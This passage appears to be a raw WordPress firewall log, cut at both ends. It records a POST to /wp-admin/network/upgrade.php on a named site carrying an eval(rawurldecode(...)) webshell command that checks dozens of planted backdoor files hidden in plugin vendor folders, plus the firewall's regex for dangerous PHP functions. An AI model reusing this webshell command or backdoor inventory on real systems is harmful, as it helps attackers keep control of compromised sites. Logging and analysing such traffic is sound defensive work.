/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 13:15:37","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/classes\/ActionScheduler_wcSystemStatus.php%22%3D%3E%22bd%40%40282625848%40%40SKTQJN%22%2C%0A%22\/wp-content\/plugins\/facebook-for-woocommerce\/assets\/build\/admin\/index.asset.php%22%3D%3E%22bd%40%40287676557%40%40IZGTGP%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/email-editor\/vendor-prefixed\/packages\/Symfony\/Component\/CssSelector\/Parser\/roompass.class.php%22%3D%3E%22bd%40%40290180611%40%401007%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%2C%0A%22\/wp-admin\/includes\/class-wp-privacy-requests-table.php%22%3D%3E%22bd%40%40290182176%40%40FPiRVD%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:14027\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\n\nGBStEu=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/R